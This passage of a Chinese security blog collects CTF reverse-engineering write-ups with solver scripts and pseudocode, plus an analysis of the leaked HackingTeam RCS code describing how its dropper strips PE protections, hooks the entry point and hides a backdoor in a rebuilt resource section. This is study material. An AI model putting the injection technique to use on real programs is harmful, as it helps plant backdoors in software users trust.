# 01010101 -> 0/1/0/1/0/1/0/1
targetName = '/'.join(targetName)

print "[*] target = %d"%i

littleFlag = []

for info in targetzfile.infolist():

#print targetName,info.filename[-19:]
if targetName != info.filename[-18:-3]:
continue

print "Find it~"

# read 0/1/0/1/0/1/0/1PK and creat temp file
data = targetzfile.read(info)
f = open('./temp','w+b')
f.write(data)
f.close()

target = './temp'
# print target

# first unzip
zfile = zipfile.ZipFile(target,'r')

for filename in zfile.namelist():

#print target,filename
data = zfile.read(filename)
f = open('./temp2','w+b')
f.write(data)
f.close()

# second unzip
zfile = zipfile.ZipFile('./temp2','r')
d = []

for info in zfile.infolist():
d.append(zfile.read(info))

d = [ map(ord,i) for i in d ]
print d

s = []
#s = copy(littleFlag)
#print littleFlag,s
for i in range(len(d[0])):
t = 0
for j in range(len(d)):
t ^= d[j][i]

#print chr(t)
#print littleFlag,s
if littleFlag == []:
s.append(t)
else:
s[i] ^= t 
flag += '\'' + ''.join(map(chr,s))+'\','
#littleFlag = copy(s)
#flag += ''.join(map(chr,littleFlag))
flag += ']\n'

print flag

运行脚本可以得到如下字符串，可以发现第二列的字符串拼接起来是有意义的233。

[[' ','I',' '],
['4d',' a',':t'],
['ta','m ','ut'],
['het','not','tuc'],
['e',' ','3'],
[' 4','su','z3'],
[' te','re ','6uu'],
...

结果如下，舒服~

HackingTeam-RCS-code-分析记录

2019-11-21T03:34:08.000Z

记录10.17起的学习过程，主要记录对rcs_code的分析。
源码链接

前言

rcs的全称是remote control system，意思是远程控制系统，是一套用于政府拦截的黑客套件，实现了全平台的监控系统。

本次分析融合功能涉及四个模块，如下图。

接下来是详细分析。

融合（代码不全==，跳过）

melter

这个模块包含main.cc文件，是融合模块的入口点。
用于接收输入参数，并创建PEMelter对象。

输入参数如下

help: 参数说明
input: 目标文件的路径，需为Win32 PE可执行文件
output: 输出文件的路径，默认为output.exe
rcs: 恶意程序的路径

在接收输入之后判断每个参数（文件）是否存在，并将输入参数输出，之后便创建一个PEMelter对象。

libpemelter

该模块主要由四个部分组成，分别是PEMelter，PEParser，PEMangler和一个头文件win32type.h。

win32type.h

该文件主要定义了一些关于pe文件解析的结构体，如IMAGE_SECTION_HEADER，IMAGE_IMPORT_DESCRIPTOR等；
以及一些需要预先声明的定值，如IMAGE_SIZEOF_FILE_HEADER等。

PEMelter

PEMelter类的构造函数中创建了三个对象，分别是PEParser、PEMangler以及Melter。

PEMelter::PEMelter()
{
    parser_ = new PEParser();
    mangler_ = new PEMangler();
    melter_ = new Melter(*parser_, *mangler_);
}

PEParser

PARSER(PEParser); - Parser.h 41

PEMangler

libmelter

下载器 dropper

RCSWin32Dropper.cpp

代码首先接收输入，如下。

usage: RCSWin32Dropper.exe -s
scout: 下载器？
input: 原始PE文件
output: 生成的文件

这里的scout应该是指后门文件，因为在输入之后有这么一句代码sprintf(MS.core, “%s”, scoutFile);，而MS.core在后面的usage有说明core is the backdoor core。

之后便调用MeltFIle.cpp中的MeltFile函数进行处理。

读取并解析文件内容: MelterFile.cpp - MeltFile & PEObject.cpp - Parse

MeltFile函数参数说明如下

int MeltFile( char const * const input_path, char const * const output_path, MelterStruct const * const melter_data, BOOL isScout, char *scout_file )

input_path：输入的input路径
output_path：输入的output路径
melter_data：一个融合器的结构体
isScout：是否为scout?
scout_file: 输入的scout路径

这里的调用参数内容为MeltFile( inputFile, outputFile, &MS, TRUE, scoutFile );

首先读取input_path的内容，并复制一份至data变量，防止修改源文件。

接着创建一个PEObject对象，构造函数参数内容为input_path的内容data及文件大小size。
然后通过PEObject对象的parse函数判断文件是否能被解析。

解析过程如下

读取文件头（前0x3000）判断文件是否是SFXCAB.exe类型的补丁（_SFX_CAB_EXE_PATH）
解析DOSHeader、NTHeader。判断是否为Win32 PE for IA-32；是否开启ASLR，NX，FORCE_INTEGRITY，开启则消除标志位；是否绑定导入表，绑定则重置为0；是否开启重定位表，开启则重置为0；读取各个section的内容。
解析Resources，读取resources段。
解析Text段，寻找hook的位置。通过读取OEP之后的0x400数据，经过反汇编后，寻找长度大于等于5且为jmp或call类的指令，即为要hook的位置（jmp为一定有效的，call为潜在有效的指令）。

嵌入下载器（dropper）: PEObject.cpp - embedDropper

首先通过NTHeaders读取OEP（程序入口点），并找到OEP对应的section。

接着创建一个DropperObject对象名为dropper，将之前在解析文件时找到的hookpoint复制到dropper中。

这里有个dropper.build()忘了看（功能好像就是把木马放进dropper里）。。。

创建dropper成功之后获取Resources section的地址，调用TuneResources函数对资源段进行调整，如下图，修改第一层目录的第一个索引，指向新的table（复制原来的table，新增一个表项）。可以看到新增的data entry记录的是dropper的大小及地址，故这里的下载器应该是被加入到资源表的索引中，但此时dropper的数据还没有放进去，只是预留了一块空间。

之后malloc了一个大小为sizeof(ResourcesSection)+sizeof(dropper)+sizeofResources()的空间，将资源段的数据copy进去，将dropper数据copy进去，调用_writeResources遍历资源段并复制一遍数据，可以说是一个新的资源段（舍去了之前因调整而无索引的table）。并魔改资源段地址为新的资源段地址及大小。

参考链接

2019上海市大学生网络安全大赛 - puzzle Writeup

2019-11-03T04:23:53.000Z

题目及脚本链接

简要分析

main函数伪码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD *v4; // [esp+1Ch] [ebp-A0h]
  int v5; // [esp+20h] [ebp-9Ch]
  int v6; // [esp+24h] [ebp-98h]
  int v7; // [esp+28h] [ebp-94h]
  int v8; // [esp+2Ch] [ebp-90h]
  char input; // [esp+30h] [ebp-8Ch]
  int v10; // [esp+50h] [ebp-6Ch]
  int v11; // [esp+70h] [ebp-4Ch]

  sub_402620();
  v5 = 'eewq';
  v6 = 'e';
  v7 = 0;
  v8 = 0;
  v4 = malloc(0x408u);
  puts("Plz solve the puzzle:");
  scanf("%32s", &input);
  if ( (unsigned __int8)check_len_and_hex(&input)// check string in a-f
    && (str2hex((int)&v10, &input), generateData(v4, (int)&v5, strlen((const char *)&v5)), xor(v4, &v10, 8), check(&v10)) )
  {
    generateFlag(&input, (int)&v11);
    printf("Congrats!\n%s\n", &v11);
  }
  else
  {
    puts("Failed!");
  }
  return 0;
}

sub_401C70 - check_len_and_hex

校验输入，需要长度为16，并且为0-9或a-f。

这里a-f很容易看出来，但是0-9也满足约束是因为

ord(‘0’) - 58 = 48 - 58 = -10
经过(unsigned __int8)之后-10变成246大于0x26
ord(‘9’) - 58 = 57 - 58 = -1
经过(unsigned __int8)之后-1变成255也大于0x26

这里可以写个小脚本把符合条件的爆破一下。

>>> for i in range(256):
...     a = i
...     if (a-58)&0xff > 0x26 and (a-48)&0xff <= 0x36:
...             print chr(i)
...
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f

sub_401B60 - str2hex

这个函数我没细看，通过od动态跟一下就能看出是字符串转16进制了，逻辑还是比较清晰的。

sub_401850 - generateData

这个函数的作用是先生成一个0-255的数组，然后根据字符串qweee打乱一下顺序。

最终生成的数组数据是固定的，所以用od调试看下内存就能得到，如下。

0x71,0x12,0x62,0x31,
0x4D,0x97,0x14,0x0D,
0xED,0xA3,0xD6,0xFC,
0xF1,0x3B,0x3C,0x33,
0xB5,0x22,0xA2,0x1A,
0x17,0x1D,0x98,0x91,
0x06,0x2A,0x8B,0x23,
0xE6,0x55,0x46,0x3A,
0x65,0x28,0x30,0x39,
0xD4,0x0C,0x01,0x2D,
0x25,0x10,0x09,0x8F,
0x6A,0x3F,0x44,0xD8,
0x6D,0xC5,0xA6,0x72,
0x07,0x83,0x40,0xC6,
0x8E,0x1F,0x77,0x61,
0x96,0x4A,0x08,0xFE,
0x53,0x5A,0xA1,0xDF,
0xB6,0x67,0x66,0x5C,
0x57,0xB8,0xD3,0x11,
0x52,0x21,0xCC,0x56,
0x2E,0xC2,0x88,0xAA,
0xF9,0x20,0x7A,0x6F,
0x4E,0x76,0xE8,0xC1,
0xD5,0xBD,0xCE,0x9E,
0x38,0x95,0x50,0xF2,
0x9F,0xB2,0x9A,0x0B,
0x47,0x16,0x60,0xBF,
0xFD,0x92,0x35,0x89,
0xDA,0xFF,0x9B,0xBA,
0x13,0xAB,0xF4,0x79,
0x87,0xAC,0x8C,0x73,
0x84,0xB3,0x0E,0xC8,
0x26,0xA5,0xE7,0x15,
0xE9,0xC3,0x69,0x70,
0xE0,0x68,0x42,0x81,
0xCD,0xEB,0xDE,0x7D,
0xEF,0xD0,0x24,0x00,
0xF0,0x41,0xA0,0xEE,
0x05,0x94,0x85,0xBB,
0x43,0x02,0xF7,0xC0,
0xD1,0x1B,0x7F,0x5B,
0xEC,0xF6,0x2B,0x1E,
0xE2,0x27,0xFB,0x78,
0x54,0x58,0xE4,0x32,
0xDB,0xB7,0xC7,0x90,
0x7C,0xF8,0x5D,0x5F,
0x63,0xBE,0x2C,0x0A,
0xDD,0x9C,0x75,0x19,
0xC4,0xA8,0x86,0x36,
0xBC,0x8D,0xD7,0x7B,
0xB4,0x5E,0x3E,0xA7,
0xB1,0xE1,0x59,0x82,
0xB9,0xAE,0xD9,0x7E,
0xAF,0xCF,0x9D,0xF5,
0xFA,0x48,0x4F,0xA9,
0x6C,0x64,0x6E,0x49,
0x4B,0x6B,0x29,0x45,
0xE5,0x04,0xA4,0x4C,
0x34,0x80,0xD2,0x3D,
0xE3,0x99,0x37,0xDC,
0x93,0xC9,0xCA,0xCB,
0xEA,0xB0,0x0F,0x03,
0x8A,0xF3,0x51,0x1C,
0xAD,0x74,0x18,0x2F

sub_4018D0 - xor

函数伪码如下

_DWORD *__cdecl sub_4018D0(_DWORD *a1, _BYTE *a2, int len)
{
  int v3; // edx
  int v4; // ecx
  _DWORD *data; // esi
  _BYTE *input_hex; // ebx
  int v7; // edi
  unsigned int *v8; // eax
  int v9; // edx
  _DWORD *v10; // ebp
  _DWORD *v11; // ST00_4
  unsigned int v12; // ebp
  _DWORD *result; // eax

  v3 = *a1;
  v4 = a1[1];
  data = a1 + 2;
  if ( len > 0 )
  {
    input_hex = a2;
    v7 = *a1;
    do
    {
      v7 = (unsigned __int8)(v7 + 1);
      v8 = &data[v7];                           // *v8 = 0x12
      v9 = *v8;
      v4 = (unsigned __int8)(*v8 + v4);         // v4 = 0x12
      v10 = &data[v4];                          // *v10 = 0xA2
      v11 = v10;
      v12 = *v10;
      *v8 = v12;
      *v11 = v9;
      *input_hex++ ^= data[(unsigned __int8)(v9 + v12)];
    }
    while ( input_hex != &a2[len] );
    v3 = v7;
  }
  result = a1;
  *a1 = v3;
  a1[1] = v4;
  return result;

逻辑就是从sub_401850生成的数据中取几个出来与输入转成的16进制数据进行异或。

把这个data中的数据称为key的话，key是长度为8的数组，这个也是固定的，不会随输入改变而改变，所以也可以直接dump出来。

key = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]

sub_401950 - check

最后就是这个check函数了，逻辑是将异或之后的数据进行一个case的匹配，然后对程序内一个固定的数据进行加减乘除等运算，最后进行校验。

这里case的条件有0-9共10个，长度为8，故范围在10**8，爆破即可,大概需要一个多小时吧？具体多久忘了。

注意一下数据需要与上0xffffffff。

exp

import os
__Author__ = 'l1b0'

'''
>>> a = [6, 1, 4, 9, 5, 0, 7, 2]
>>> b = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]
>>> c = [a[i]^b[i] for i in range(8)]
>>> c
[122, 170, 41, 152, 42, 152, 234, 171]
>>> map(hex,c)
['0x7a', '0xaa', '0x29', '0x98', '0x2a', '0x98', '0xea', '0xab']
flag{5cb92582-66a8-e5b7-d3bf-3b99df8ac7f0}
'''

xor = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]
#dd = [0x8A,0x01A1,0x012A,0x0269,0x209,0x68,0x039F,0x02C8]
correct_d = [0xFFFFFC49,104,16,0xFFFFCC30,14961,14456,231,0xFFFFFF11]
#v = [[5,8],[1,6],[0,1,9],[0,4,9],[2,3,8],[4,6,7],[5,7],[2,3]]
num = 10**8

for aa in range(9,-1,-1):
    for bb in range(10):
        for cc in range(10):
            for dd in range(10):
                for ee in range(10):
                    for ff in range(10):
                        for gg in range(10):
                            for hh in range(10):
                                num -=1
                                #if num < 11104096:
                                #    continue
                                f = [aa,bb,cc,dd,ee,ff,gg,hh]
                                d = [0x8A,0x01A1,0x012A,0x0269,0x209,0x68,0x039F,0x02C8]

                                for vi in f:

                                    if vi == 0:
                                        d[2] &= d[6]
                                        d[3] *= d[2]
                                        d[2] = d[2] & 0xffffffff
                                        d[3] = d[3] & 0xffffffff
                                    elif vi == 1:
                                        if d[3] == 0:
                                            print ("Wrong!")
                                            break

                                        d[2] = d[2] // d[3]
                                        d[2] = d[2] & 0xffffffff
                                        d[1] += d[5]
                                        d[1] = d[1] & 0xffffffff
                                    
                                    elif vi == 2:
                                        d[4] ^= d[5]
                                        d[4] = d[4] & 0xffffffff

                                        d[7] += d[0]
                                        d[7] = d[7] & 0xffffffff
                                    
                                    elif vi == 3:
                                        d[7] -= d[4]
                                        d[7] = d[7] & 0xffffffff

                                        d[4] &= d[1]
                                        d[4] = d[4] & 0xffffffff
                                    
                                    elif vi == 4:
                                        d[5] *= d[0]
                                        d[5] = d[5] & 0xffffffff
                                        d[3] -= d[6]
                                        d[3] = d[3] & 0xffffffff
                                    
                                    elif vi == 5:
                                        d[0] ^= d[3]
                                        d[0] = d[0] & 0xffffffff
                                        d[6] -= d[7]
                                        d[6] = d[6] & 0xffffffff
                                    
                                    elif vi == 6:
                                        if d[7] == 0:
                                            break
                                        d[5] = d[5] | (d[1] // d[7])
                                        d[5] = d[5] & 0xffffffff
                                        d[1] = d[1] // d[7]
                                        d[1] = d[1] & 0xffffffff
                                    
                                    elif vi == 7:
                                        d[6] += d[2]
                                        d[6] = d[6] & 0xffffffff
                                        d[5] |= d[1]
                                        d[5] = d[5] & 0xffffffff
                                    
                                    elif vi == 8:
                                        d[0] *= d[3]
                                        d[0] = d[0] & 0xffffffff
                                        d[4] -= d[7]
                                        d[4] = d[4] & 0xffffffff
                                    
                                    elif vi == 9:
                                        d[2] += d[5]
                                        d[2] = d[2] & 0xffffffff
                                        d[3] ^= d[4]
                                        d[3] = d[3] & 0xffffffff

                                
                                print(num)
                                if d[:5] == correct_d[:5]:
                                    print(f)
                                    print([hex(l) for l in d])
                                    os.system("pause")

2019看雪CTF-Q1-第六题 Repwn详解

2019-03-26T12:34:08.000Z

这题花了我今天所有的空闲时间（大概五个多小时），所以有必要记录一下自己的解题过程:-)
题目和脚本

0x01 第一关（re+pwn???）

第一个关键函数sub_4014C0伪代码如下

首先输入key，进入第一个校验函数sub_4012F0，如下图

可以看到是进行明文比较a1[8:20]是否等于X1Y0uN3tG00d，这里的a1即输入的key；并且校验a1[20]是否等于H 。

接下来进入函数sub_401460，如下图。

该函数给出了key的长度为24，然后通过函数sub_4013B0校验key的前8个字节，前8个字节的校验比较简单，用z3跑一发即可，这里不再赘述。

z3脚本地址
（比较坑的是题目并没有说key的前八位只能是数字，错了好多次直到问了出题人才知道这题居然还有”标准“答案。。。）

综上我们得到key[0:21] = "20101001X1Y0uN3tG00dH"。

接着非常奇怪的是key 的最后四个字节仅进行了减操作，然后对key进行了复制，至此key 的校验结束。

于是用Olldbg动态调试一下，在输入处下断点，F9执行至返回（停在断点），直到运行至0x40149C，如下图。

往后运行一下发现这里还有个jmp指令，继续跟，发现程序崩了，并且错误提示如下。

我的输入是20101001X1Y0uN3tG00dH123，而H123的十六进制为0x48313233，各个字节经过函数sub_401460里的减操作之后得到的就是0xF0EB2FC8。也就是说我输入的最后四个字节经过减操作之后被当成地址进行跳转。

问题是应该跳到哪里去呢？可以确定的是这个地址的最后两位一定是F0，并且地址的前四位一定是0040，以此可以知道key[22:23] = "Ck"，那么就差key[21]了。

然后我就去IDA疯狂翻地址末尾为F0的函数，然后啥都没翻到。

最后无意中看到0x00401BF0处的汇编十分可疑，但是此处并没有识别为函数。IDA里右键选择create function 即可。

而chr(0x46+0x1b) = 'a' ，即key就是20101001X1Y0uN3tG00dHaCk。

0x02 第二关（re）

这个加密算法我看了一两个小时。。。

最后通过一些特征数据查到这是DES加密。。。

需要注意的是，这里的一大堆赋值跟v12并没有半毛钱关系。。v12的值在0x0040740C处。

Dst是通过密文（64位）每4位一组得到的16个十进制数，这里我一开始看岔了。。绕了好久。

综上，DES加密，密钥为XiyouNet，密文为0x9db084ac97041e30，python解一发。

>>> from Crypto.Cipher import DES
>>> key = 'XiyouNet'
>>> des = DES.new(key, DES.MODE_ECB)
>>> des.decrypt("\x9d\xb0\x84\xac\x97\x04\x1e0")
'Wel1C0me'
>>>

hackeme.inndy.tw-all-reverse-Writeup

2018-10-08T07:32:45.000Z

前言

这里记录一下hackme.inndy.tw至今(2018.10.8)所有reverse类题目的解题思路，遵循站主的规则不放flag。
所有题目及脚本都在我的github上。

0x01 helloworld

Name	Points	Solved	Description
helloworld	40	197	Guess a number please :D

首先file一下

1
2
3

hackme.inndy.tw/re/helloworld_solved                                                   
▶ file helloworld 
helloworld: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7060d74084170ea3740c4ac90ae27516b426da73, with debug_info, not stripped

用32位ida打开，main函数伪代码如下

可以看到只要输入的n等于314159265即可。

0x02 simple

Name	Points	Solved	Description
simple	90	155	A little bit harder

首先file一下

1
2
3

hackme.inndy.tw/re/simple_solved                                        
▶ file simple-rev 
simple-rev: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=923390ca9bbe2a4ff25b70b07516e357cd6e013a, with debug_info, not stripped

用32位ida打开，main函数伪代码如下

可以看到逻辑就是输入的buffer经过每位加一后与字符串UIJT.JT.ZPVS.GMBH比较。
将已知的字符串每位减一加上flag格式就是flag。

0x03 passthis

Name	Points	Solved	Description
passthis	80	2	You should be able to pass this

这题是前几天刚放的新题，捡了个一血hh

首先file一下

1
2
3

hackme.inndy.tw/re/passthis_solved                                      
▶ file passthis.exe 
passthis.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

用32ida位ida看看，在main函数会进行check_flag的操作，如下

关键在红圈部分，v6是我们的输入，byte_404040已知，那就异或回去看看，发现成了。

这里分享一个小trick，提取数据可以通过选中数据然后shift+E快速得到。

脚本及结果如下

0x04 pyyy

Name	Points	Solved	Description
pyyy	110	66	Can you pass the challenage?

首先file一下，发现是pyc文件。

1
2
3

hackme.inndy.tw/re/pyc_solved                                           
▶ file pyyy.pyc 
pyyy.pyc: python 2.7 byte-compiled

用uncompyle2反编译即可(这里建议不要用在线反编译网站，因为结果和源码不完全相同)。

安装uncompyle2
Linux： sudo pip install uncompyle2
Windows：https://www.cnblogs.com/pcat/p/5400911.html

执行uncompyle2 -o out.py pyyy.pyc得到源码，关键代码如下

for i, f in enumerate(F):
    n = pow(f, m, g)
    this_is = 'Y-Combinator'
    l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: (1 if x < 2 else f(x - 1) * x % n))(g % 27777)
    c = raw_input('Channenge #%d:' % i)
    if int(c) != l:
        print 'Wrong~'
        exit()
    z.append(l)

既然得到了源码那就直接把check输入的部分注释掉跑一遍就好啦。

0x05 accumulator

Name	Points	Solved	Description
accumulator	120	27	Reverse this for the flag

首先file一下

1
2
3

hackme.inndy.tw/re/accmulater_solved                                    
▶ file accumulator
accumulator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d56ade110b7625b5a335ae02133d7204e4e1287f, stripped

main函数的关键代码如下

流程就是输入的字符串经过SHA512加密之后进入函数sub_4008C0进行check，v8就是输入，v3是输入字符串的长度，v6是加密之后的结果。

sub_4008C0函数的代码如下

逻辑很简单，先比较inputs的第一位和dword_601080的某位比较，然后inputs的第二位与前一位相加与dword_601080的后一位比较，例子如下。

inputs[0] == dword_601080[0]
inputs[1] + inputs[0] == dword_601080[1]
inputs[2] + inputs[1] + inputs[0] == dword_601080[2]
那么可以得到
inputs[0] == dword_601080[0]
inputs[1] == dword_601080[1] - dword_601080[0]
inputs[2] == dword_601080[2] - dword_601080[1]

逻辑理清之后脚本就很好写了，这里我用IDAPython来提取dword_601080的数据,idapython脚本如下。

一个小trick: IDA里shift+F2进入Execute script界面

from idaapi import *

addr = 0x601080
data = []
for i in range(198):
    data.append( Dword( addr + i*4 ) )
print data

脚本及结果如下

0x06 GCCC(unfinished)

Name	Points	Solved	Description
GCCC	140	33	Maybe you should try some z3 magic.

首先file一下，是.NET编译的。

1
2
3

hackme.inndy.tw/re/GCCC_solved                                          
▶ file gccc.exe 
gccc.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

0x07 ccc

Name	Points	Solved	Description
ccc	150	28	ccc cc

首先file一下

1
2
3

hackme.inndy.tw/re/ccc_solved                                          
▶ file ccc     
ccc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c367c39587411d6c797087347c6226429cc70f3a, not stripped

用32位ida打开，main函数伪代码如下

可以看到程序首先读入一个字符串buf，若函数verify返回不为0则输出Good。

verify函数的伪代码如下

函数首先检查输入长度是否为0x2A，若符合则进行14轮crc32加密验证，每轮验证三个字符。
这里我先用gdb验证了程序中的crc32函数是不是正常的crc32加密。

如上图所示，rax是程序用于验证的数据，rcx是输入的FLAG{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}的前三位也就是FLA经过程序中crc32函数加密的结果。可以看到rcx = 0xd641596f。
而用python的binascii库进行crc32加密的结果一样，如下图。

说明程序的crc32是正常的。

那么直接每三位爆破即可，结果如下，可以看到三轮循环还是有点慢的，这里也可以用z3。

0x08 bitx

Name	Points	Solved	Description
bitx	150	33	bits?

首先file一下

1
2
3

hackme.inndy.tw/re/bitx_solved                                                         
▶ file bitx 
bitx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a6471e725036a40fc7334bc4cd1815b746d37c3c, not stripped

用32位ida打开，main函数伪代码如下

只需通过verify函数即可。

verify函数伪代码如下

signed int __cdecl verify(int a1)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; *(_BYTE *)(i + a1) && *(_BYTE *)(i + 0x804A040); ++i )
  {
    if ( *(_BYTE *)(i + a1) + 9 != ((unsigned __int8)((*(_BYTE *)(i + 0x804A040) & 0xAA) >> 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 0x804A040) & 0x55))) )
      return 0;
  }
  return 1;
}

逻辑很简单，就是将输入的每一位与一个已知的数据比较。
结果如下

0x09 2018-rev

Name	Points	Solved	Description
2018-rev	150	14	Happy New Year 2018! Can you execute this binary on the right time with the right argv?

这题还是挺好玩的，首先file一下

1
2
3

hackme.inndy.tw/re/2018_rev_solved                                     ⍉
▶ file 2018.rev
2018.rev: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=8acc8b845b7cba4e5a40ae793b154eaf1316799a, stripped

运行一下发现报错退出了

用ida64位打开，定位argc == 2018 && argv[0][0] == 1 && envp[0][0] == 1这个字符串。
如下图，可以看到这个判断条件是argc == 2018也就是命令参数的个数为2018, argv[0][0] == 1也就是第一个命令参数的第一个字符值为1，而envp是环境变量。

既然这是在本地跑那就用gdb调试一波，在对应的check处将对应的值改一下就能通过check了。

判断语句地址如下图。

首先将断点下在0x400636，run一下，结果如下。

可以看到这时r13d == 1，输入set $r13d = 0x7e2将其值改为期望值，再next，这个判断就顺利通过了。

接着来到第二个check，如下图。

照猫画虎，输入set *0x7fffffffe65b = 1，这个check也通过了。
第三个check这里不再赘述。

通过这个判断条件后返回ida看看代码会发现还有一个check，如下.

根据字符串提示可以知道意思是运行这个程序时系统时间应该为2018/1/1 00:00:00 (UTC)。
这个用shell写一个小脚本循环设置一下时间即可。

通过check时间的条件后进入函数sub_400B60，这里在gdb直接就能看到flag了。

0x0A what-the-hell

Name	Points	Solved	Description
what-the-hell	190	20	Tips: `modinv`, Something is slow there in my code, make it faster.

首先file一下

1
2
3

hackme.inndy.tw/re/what_the_hell_solved                                ⍉
▶ file what-the-hell
what-the-hell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f7f495d56a0615d6d2fd448c8e024af978c1d51, not stripped

用ida32位打开，main函数伪代码如下

程序需要我们输入两个key，然后将这两个key和v7传入函数decrypt_flag，这个函数的伪代码如下。

可以看到如果我们知道了a1，a2，a3，那么flag就出来了。
细心一点的话会看到在左侧函数列表中还有几个重要的函数，如下图。

可以看到calc_key3函数有关于a1，a2的四个约束条件，那么直接用z3跑一发。然后再通过what函数找到key3，结果如下。

可以看到有两组结果，但是第一组找不到key3，故舍弃。

得到三个key之后就回到decrypt_flag函数，把解密过程实现一遍就可以了，需要注意的是三个key的值需一直小于0xFFFFFFFF(比如说一开始的key3，给这坑了一下)。

0x0B unpackme

Name	Points	Solved	Description
unpackme	200	16	Let’s learning some Windows stuff! Here’s a packed Windows executable binary, try to unpack and reverse it!

首先file一下，看起来很正常，但是结合题目这应该有upx壳的。

1 2	▶ file unpackme.exe unpackme.exe: PE32 executable (GUI) Intel 80386, for MS Windows

用strings看下

左边是题目文件包含的字符串，右边是经过upx加壳的正常的exe。
可以看到题目给魔改了。。。
用010把upx壳的关键字符串改回来就能upx -d脱壳了，对应情况如下。

!The flag is not FLAG{Hello,DOS section} -> !This program cannot be run in DOS mode.
CTF0 -> UPX0
CTF1 -> UPX1
CTF2 -> UPX2
CTF? -> UPX!

脱壳之后想运行看看，发现报错。。。

用ida打开,关键代码如下

Text就是flag，经过v11 ^ byte_410A80[v12] ^ pbData[v12 & 0xF]得到，其中byte_410A80和pbData都知道，v11是个未知额定值，那么爆破即可。

0x0C mov(unfinished)

0x0D a-maze

Name	Points	Solved	Description
a-maze	200	8	Escape from my a-maze

首先file一下

1
2
3

hackme.inndy.tw/re/a-maze_solved                                                       
▶ file maze 
maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1c3d4e20d66f84057c3937687eab478c0e5539d, stripped

用ida64位打开，main函数伪代码如下

可以看到argv[1]实际上就是题目给的map文件，argv[2]就是我们的输入。而qword_601088即map文件的数据。

sub_400890函数伪代码如下

LODWORD那我觉得是ida反编译的错误，因为LODWORD(v2)本身就是一个表达式，无法赋值。。。这坑了我好久，其实结合汇编看就不会疑惑了。

这部分的汇编结合伪代码如下

可以看到最后赋值的时候是以dword类型赋值。

接下来分析代码，当v2为0xffffffff时循环退出，输出You got it.，即输入正确。于是就爆破这时的v2和*a1，得到上一次的v2，如此循环爆破直到v2 == 0即可。

结果如下, 脚本还是有点慢的。。。

0x0E esrever-mv(unsolved)

0x0F termvis(unfinished)

0x10 rc87cipher

Name	Points	Solved	Description
rc87cipher	500	5	Tips: password length is 40

首先file一下

1
2
3

hackme.inndy.tw/re/rc87cipher                                                                                                                     
▶ file rc87 
rc87: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

用ida64打开发现很奇怪，猜测经过upx压缩过了。

第一种方法: 修复upx壳(未成功)

结合前面unpackme也是upx魔改的情况，用010和一个正常经过upx压缩的64位elf程序进行比较会发现UPX!被0xFFFFFFFF填充，upx壳自带的的copyright也被0xFF替换了。将这两处改回去之后发现还是不对。拖到最后发现文件尾也被0xFF填充，但奇怪的是为什么会有这么多0xFF。

下图是题目的文件尾。

下图是正常的upx压缩过的64位elf的文件尾。

尝试用正常的文件尾替换,但还是无法成功执行upx -d,提示compressed data violation,就放弃了…

第二种方法: 用radare2把原本的数据dump出来

参考视频: https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0
Install radare2: sudo apt-get install radare2

视频中老外的例子是动态链接,而题目是静态链接,在找oep时使用如下命令

1
2

9dcs
ds

之后执行

1 2	s 0x400000;pfo elf64 pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..

会发现有两个type = PT_LOAD的数据块,如下图

将这俩按照视频的方法dump下来就能成功执行了,虽然file显示missing section headers.

拿到dump出来的可执行文件后分析一下程序逻辑。

main函数关键代码如下，我把一些函数及变量名改成有意义的方便理解。

main函数的流程就是如果输入的模式为enc即加密，则进入encrypt函数，否则如果是dec进入另一个函数，这个函数我没细看，但运行之后感觉dec没什么作用。

encrypt函数关键代码如下

首先通过函数rand生成iv。
然后进入函数create_iv_sbox，这个函数的作用就是先将sbox初始化为0-255，再根据iv的值对sbox进行打乱。并且会将iv写入output(前8个字节即为iv)。
生成sbox之后每次读取input的一个字节，进行一系列操作，得到加密后的结果并写入output。

大致清楚流程之后看看题目提供的文件，题目给了flag.enc，rc87以及rc87.enc。也就是说我们有了明文(rc87)和密文(rc87.enc), 那么就能以此逐位爆破password。

在写脚本过程中发现可能会有不同的password对同一明文生成同一个密文，故需要用dfs将所有可能结果搜出来，提取有意义的即可。

password结果如下，发现这就是flag。。。

References

linux-c-envp: https://blog.csdn.net/u011068702/article/details/54406328
charlie_heng-rc87cipher-wp: https://blog.csdn.net/charlie_heng/article/details/79225734
unpacking UPX on 64-bit Linux: https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0

TokyoWesterns_CTF_2018-re_dec_dec_dec-wp

2018-09-08T12:32:35.000Z

